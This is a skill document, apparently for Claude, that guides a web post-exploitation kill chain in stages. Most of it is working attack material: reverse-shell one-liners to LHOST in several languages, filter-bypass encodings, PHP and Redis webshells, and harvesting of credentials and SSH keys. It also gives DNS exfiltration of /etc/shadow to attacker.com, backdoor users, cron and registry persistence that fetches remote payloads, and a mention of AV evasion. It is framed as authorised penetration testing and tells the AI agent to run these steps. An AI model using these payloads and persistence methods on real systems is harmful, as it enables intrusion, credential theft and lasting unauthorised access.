Web Post-Exploitation — Kill Chain
Architecture
This skill is knowledge-driven — it provides commands and workflows for Claude to guide the user through each post-exploitation stage. Most commands run on the remote target machine via the established shell or webshell. No automated scripts are needed: commands are contextual and depend on the specific OS, web server, and access level discovered at runtime.
Initial Setup — Context Required
Before proceeding, establish the current situation:
SHELL_TYPE = webshell URL / reverse shell / bind shell / RCE parameter
TARGET_URL = base URL of the web application
LHOST = your attack machine IP (for reverse shells)
LPORT = your listening port (default: 4444 or 443 for stealth)
WEB_ROOT = document root on target (e.g., /var/www/html, /home/www, C:\inetpub\wwwroot)
OS = Linux / Windows (detect via whoami, uname, systeminfo)
WEBSERVER = Apache / Nginx / IIS / Python / Node.js / PHP-FPM
Detect OS and user context immediately:
# Linux
id && uname -a && cat /etc/os-release 2>/dev/null
# Windows
whoami && systeminfo | findstr /i "os\|host\|domain"
Create progress tasks with TaskCreate:
"STAGE 1 — Shell Stabilization"
"STAGE 2 — Local Enumeration (users, services, network, files)"
"STAGE 3 — Privilege Escalation"
"STAGE 4 — Credential & Data Harvesting"
"STAGE 5 — Lateral Movement"
"STAGE 6 — Persistence"
"STAGE 7 — Report"
Tool Priority
On attack machine
nc / ncat — listener for reverse shells
rlwrap — TTY upgrade for reverse shell
pwncat-cs — advanced shell handler with auto-TTY upgrade (preferred over nc)
msfvenom — payload generation (optional, if user approves)
python3 — local HTTP server for file transfer
On target machine (via shell/webshell)
python3 / python — TTY upgrade, reverse shell
bash — reverse shell
perl — alternative reverse shell
nc / ncat — bind/reverse shell
curl / wget — file transfer from attack machine
PowerShell — Windows reverse shell and enumeration
MCPs (when available)
mcp__hexstrike-ai__* — msfvenom_generate, pwntools_exploit (if Kali MCP connected)
mcp__Notion__* — publish final report with all findings and exfiltrated evidence
Operational Rules
- Confirm scope before escalating — ensure full system access is within engagement authorization
- Minimize forensic footprint — prefer in-memory payloads, avoid writing to disk unnecessarily
- Never delete logs without explicit authorization — it can be destructive and out of scope
- Document everything — save all commands and their outputs in
$OUT/postex/ - Privilege escalation: try automated enumeration (linpeas/winpeas) but always verify manually
- Reverse shells: prefer encrypted (socat SSL, pwncat-cs) for production engagements
STAGE 1 — Shell Stabilization
Upgrading a dumb reverse shell to fully interactive TTY (Linux)
# Method 1: Python PTY (most reliable)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then: Ctrl+Z
stty raw -echo; fg
# Then: export TERM=xterm; stty rows 40 cols 200
# Method 2: script
script /dev/null -c bash
# Ctrl+Z → stty raw -echo; fg → export TERM=xterm
# Method 3: socat (requires socat on target)
# Attack machine:
socat file:`tty`,raw,echo=0 tcp-listen:4445
# Target:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:4445
Setting up a pwncat listener (preferred)
# Attack machine — handles TTY upgrade automatically
pwncat-cs -lp 4444
# OR
pwncat-cs -lp 4444 --ssl # encrypted channel
# After connection, in pwncat:
help # list available commands
upload <file> # upload to target
download <file> # download from target
run enumerate # run enumeration modules
Reverse Shell Payloads (generate based on OS/language available)
Bash:
bash -i >& /dev/tcp/LHOST/LPORT 0>&1
# URL-encoded for webshell:
bash+-i+>%26+/dev/tcp/LHOST/LPORT+0>%261
# Base64 wrapped (bypass filters):
bash -c {echo,BASE64_ENCODED}|{base64,-d}|{bash,-i}
Python:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("bash")'
PHP one-liner:
php -r '$s=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'
PowerShell (Windows):
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('LHOST',LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Netcat (with -e):
nc LHOST LPORT -e /bin/bash
# Without -e:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT > /tmp/f
STAGE 2 — Local Enumeration
Run on the target machine:
Quick baseline
# Identity & context
id && whoami && groups
# OS & kernel
uname -a && cat /etc/issue /etc/os-release 2>/dev/null | head -5
# Network
ip addr; ip route; cat /etc/hosts; ss -tulnp 2>/dev/null || netstat -tulnp 2>/dev/null
# Interesting files
ls -la /home /root 2>/dev/null
find /var/www -name "*.conf" -o -name "config.php" -o -name ".env" 2>/dev/null | head -20
find / -name "*.bak" -o -name "*.old" -o -name "id_rsa" 2>/dev/null | grep -v proc | head -20
# Running processes & services
ps aux | grep -v "\[" | head -30
systemctl list-units --type=service --state=running 2>/dev/null | head -20
# SUID binaries (Linux privesc candidates)
find / -perm /4000 -type f 2>/dev/null
# Cron jobs
cat /etc/cron* /etc/cron.d/* /var/spool/cron/* /etc/crontab 2>/dev/null
Automated enumeration (if tools available or can be uploaded)
# linpeas — download and run in memory
curl -sk https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash 2>/dev/null
# Or upload from attack machine (python HTTP server):
# Attack machine: python3 -m http.server 8080
# Target: wget http://LHOST:8080/linpeas.sh -O /tmp/l.sh && chmod +x /tmp/l.sh && /tmp/l.sh
STAGE 3 — Privilege Escalation
Linux — common paths
# 1. Sudo misconfiguration
sudo -l
# If any binary: check https://gtfobins.github.io/
# 2. SUID exploitation — GTFOBins
find / -perm /4000 -type f 2>/dev/null
# Common exploitable SUIDs: find, nmap, vim, python, perl, bash, less, more, cp, awk
# 3. Writable /etc/passwd
ls -la /etc/passwd && [ -w /etc/passwd ] && echo "WRITABLE — add root user"
# echo 'hacker:$(openssl passwd -1 password):0:0:hacker:/root:/bin/bash' >> /etc/passwd
# 4. Cron jobs with writable scripts
crontab -l 2>/dev/null
# If cronjob runs a script you can write → inject reverse shell
# 5. Kernel exploits — check kernel version against known CVEs
uname -r
# Dirty Cow: 2.6.22 < 4.8.3 (CVE-2016-5195)
# DirtyPipe: 5.8 ≤ 5.16.11 (CVE-2022-0847)
# Baron Samedit: sudo < 1.9.5p2 (CVE-2021-3156)
# 6. Docker / container escape
[ -f /.dockerenv ] && echo "Inside Docker container"
# Check: docker.sock access, cap_sys_admin, privileged containers
ls -la /var/run/docker.sock 2>/dev/null
# 7. NFS no_root_squash
cat /etc/exports 2>/dev/null | grep "no_root_squash"
# 8. PATH hijacking (if sudo runs script without absolute path)
echo $PATH; sudo -l # check for relative path commands
SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege (Windows IIS/MSSQL)
# Check privileges
whoami /priv
# If SeImpersonatePrivilege → try:
# GodPotato (modern, all Windows server versions):
GodPotato.exe -cmd "cmd /c whoami"
# PrintSpoofer (Windows 10/Server 2019+):
PrintSpoofer.exe -i -c powershell
# JuicyPotato (older systems):
JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {CLSID}
PHP disable_functions bypass (webshell context)
When PHP's system(), exec(), shell_exec(), passthru() are disabled:
# Method 1: proc_open
<?php
$desc = [["pipe","r"],["pipe","w"],["pipe","w"]];
$p = proc_open($_GET['cmd'], $desc, $pipes);
echo stream_get_contents($pipes[1]);
?>
# Method 2: popen
<?php echo fread(popen($_GET['cmd'],'r'),4096); ?>
# Method 3: mail() with LD_PRELOAD
# (requires sendmail + ability to set env vars)
# Method 4: mod_cgi (Apache) — write .htaccess + CGI script
echo "Options +ExecCGI" > .htaccess
echo "AddHandler cgi-script .cgi" >> .htaccess
# Then upload shell.cgi with execute permission
# Method 5: PHP FFI (PHP 7.4+)
<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system($_GET['cmd'] . " > /tmp/o.txt");
echo file_get_contents("/tmp/o.txt");
?>
STAGE 4 — Credential & Data Harvesting
# Web application config files (database credentials)
grep -rn "password\|passwd\|db_pass\|DB_PASS\|secret\|api_key\|token" \
/var/www /home /srv /opt 2>/dev/null \
| grep -v ".js.map\|node_modules\|vendor" | head -40
# Common config locations
find / -name "wp-config.php" -o -name "config.php" \
-o -name ".env" -o -name "database.yml" \
-o -name "settings.py" -o -name "application.properties" \
2>/dev/null | xargs cat 2>/dev/null | grep -i "pass\|secret\|key" | head -30
# SSH private keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null | head -10
cat /root/.ssh/id_rsa 2>/dev/null
cat /home/*/.ssh/id_rsa 2>/dev/null
# /etc/shadow (if readable)
cat /etc/shadow 2>/dev/null | head -10
# Browser saved credentials (if desktop environment)
find / -name "Login Data" -o -name "cookies.sqlite" 2>/dev/null | head -5
# Database dump (if credentials found)
# MySQL:
mysqldump -u root -p'PASSWORD' --all-databases 2>/dev/null | gzip > /tmp/db_dump.sql.gz
# PostgreSQL:
pg_dump -U postgres --all-databases > /tmp/pg_dump.sql 2>/dev/null
Exfiltration methods
# Via HTTP (attack machine runs: python3 -m http.server 8080 in upload dir)
curl -F "file=@/tmp/loot.tar.gz" http://LHOST:8080/upload
# Encode and exfil via DNS (DNS exfil — slow but stealthy)
cat /etc/shadow | xxd -p | tr -d '\n' | fold -w 63 | \
while read line; do nslookup "$line.attacker.com" >/dev/null 2>&1; done
# Base64 encode for copy-paste exfil
base64 /etc/shadow
# Via SMB (if Windows/Samba available)
smbclient \\\\LHOST\\share -c "put /tmp/loot.tar.gz"
STAGE 5 — Lateral Movement
# Find other hosts on the internal network
ip route
for i in $(seq 1 254); do
ping -c 1 -W 1 "$(ip route | grep src | awk '{print $1}' | cut -d'/' -f1 | head -c9).$i" \
>/dev/null 2>&1 && echo "${NETWORK}.$i is up" &
done; wait
# Port scan internal hosts (bash)
for port in 22 80 443 445 3306 3389 5985 8080; do
(echo > /dev/tcp/TARGET_IP/$port) 2>/dev/null && echo "$port open"
done
# SSH lateral movement (if key found or password known)
ssh -i /tmp/id_rsa user@internal_host
ssh -o StrictHostKeyChecking=no user@internal_host
# Port forwarding via SSH (tunnel internal service to attack machine)
# Attack machine:
ssh -L 8888:127.0.0.1:3306 user@compromised_host # expose MySQL to localhost:8888
ssh -L 8888:internal_host:80 user@compromised_host # expose internal web app
# Dynamic SOCKS proxy
ssh -D 1080 user@compromised_host
# Then: proxychains nmap, curl --proxy socks5h://127.0.0.1:1080
# chisel tunneling (no SSH needed)
# Attack machine: chisel server -p 9001 --reverse
# Target: chisel client LHOST:9001 R:8888:127.0.0.1:3306
STAGE 6 — Persistence
Linux
# Method 1: Add SSH authorized key
mkdir -p /root/.ssh
echo "SSH_PUBLIC_KEY" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# Method 2: Add backdoor user
useradd -m -s /bin/bash -G sudo backd00r 2>/dev/null
echo "backd00r:Password123!" | chpasswd
# Method 3: Cron reverse shell
echo "*/5 * * * * root bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'" >> /etc/crontab
# Method 4: Persistent webshell (minimize detection)
# PHP webshell with basic auth to prevent accidental discovery:
cat > /var/www/html/.cache.php <<'EOF'
<?php if(md5($_SERVER['HTTP_X_AUTH'])=='HASH_OF_SECRET'){system($_POST['c']);}?>
EOF
# Method 5: LD_PRELOAD hook (advanced — evades basic process monitoring)
Windows
# Add admin user
net user backdoor Password123! /add
net localgroup Administrators backdoor /add
net localgroup "Remote Desktop Users" backdoor /add
# Registry run key persistence
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Updater" /t REG_SZ /d "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).downloadString('http://LHOST/payload.ps1')"
# Scheduled task
schtasks /create /tn "WindowsUpdate" /tr "powershell -nop -w hidden -c IEX(IWR http://LHOST/p.ps1)" /sc hourly /ru SYSTEM /f
STAGE 7 — Webshell Payloads Reference
PHP minimal webshells
# Minimal
<?php system($_GET['cmd']); ?>
# POST-based (less visible in access logs)
<?php system($_POST['c']); ?>
# With auth header
<?php if($_SERVER['HTTP_X_KEY']=='SECRET'){system($_POST['c']);}?>
# Disguised as image file (upload bypass)
GIF89a;<?php system($_GET['cmd']); ?>
# base64-encoded eval (bypass string filters)
<?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7'));?>
Python (Flask injection)
from flask import request
import os
@app.route('/health')
def health():
cmd = request.args.get('c', 'id')
return os.popen(cmd).read()
Node.js (Express injection)
app.get('/status/:cmd', (req, res) => {
const { execSync } = require('child_process');
res.send(execSync(req.params.cmd).toString());
});
Webshell via Redis
redis-cli -h TARGET_IP
config set dir /var/www/html
config set dbfilename shell.php
set x "<?php system(\$_GET['cmd']); ?>"
save
STAGE 8 — Report
## WEB POST-EXPLOITATION REPORT — [TARGET] — [DATE]
### Access Obtained
- Entry point: [vulnerability used — from web-exploitation report]
- Initial shell context: [www-data / nobody / IIS AppPool / etc.]
- Escalated to: [root / SYSTEM / domain user]
### Credentials Harvested
| Source | Type | Value |
|--------|------|-------|
| wp-config.php | DB password | [value obtained] |
| /etc/shadow | root hash | [full hash] |
| SSH key | RSA private key | /root/.ssh/id_rsa |
### Internal Network Access
- Pivoted to: [hosts]
- Tunneled services: [ports/services]
### Data Exfiltrated (as authorized)
- [list of files/data exfiltrated per scope]
### Persistence Mechanisms
- [list of backdoors/users created — remove after engagement]
### Remediation
- Patch the root vulnerability ([link to web-exploitation report])
- Remove all persistence mechanisms immediately after test
- Rotate all discovered credentials
- Audit SUID binaries and sudo configuration
- Review PHP disable_functions and open_basedir settings
If Notion MCP is available, publish with mcp__Notion__notion-create-pages.
Link back to the web-exploitation report page.
Evidence Capture
Capture and save evidence at every post-exploitation stage. Required for the final report.
mkdir -p "$OUT/evidence"
# Terminal screenshot (macOS — attack machine)
screencapture -x "$OUT/evidence/postex_$(date +%Y%m%d_%H%M%S)_$STAGE.png"
# Terminal screenshot (Linux)
scrot "$OUT/evidence/postex_$(date +%Y%m%d_%H%M%S)_$STAGE.png"
# Full shell session log (records everything in the terminal)
script -q -a "$OUT/evidence/shell_session_$(date +%Y%m%d_%H%M%S).log"
What to capture per stage:
- Stage 1 (Shell): stabilized shell screenshot with
idandhostnamevisible - Stage 2 (Enum): output of
id,sudo -l,find / -perm -4000(SUIDs),/etc/crontab - Stage 3 (PrivEsc): command that escalated privilege +
idafter escalation (before → after) - Stage 4 (Creds):
.env/ config file with credentials visible — proof of impact - Stage 5 (Lateral):
chiselorssh -Loutput confirming active tunnel +curlto internal host - Stage 6 (Persistence):
crontab -l,cat ~/.ssh/authorized_keys, created backdoor user entry
Submit to Notion:
mcp__Notion__notion-create-pages — create post-exploitation page with evidence timeline
mcp__Notion__notion-update-page — attach screenshots per stage
MCP Integration (when available)
hexstrike-ai (mcp__hexstrike-ai__*)
msfvenom_generate— generate payloadspwntools_exploit— pwntools-based exploitationexecute_command— run commands if Kali MCP is connected and authorized
Notion (mcp__Notion__*)
Publish post-exploitation report. Link to web-exploitation findings page.
Operational Notes
- Cleanup: after engagement, list and remove all created backdoors, users, cron entries, and webshells
- Evidence preservation: export Burp history, save all commands in a timestamped log
- Token efficiency: run commands on target — paste only key outputs back to Claude for analysis
- PHP obfuscation: if webshell is detected/removed, use encoded variants but avoid unnecessary complexity
- Windows AV evasion: use obfuscated PowerShell, AMSI bypass, or in-memory execution; only if engagement scope explicitly covers AV bypass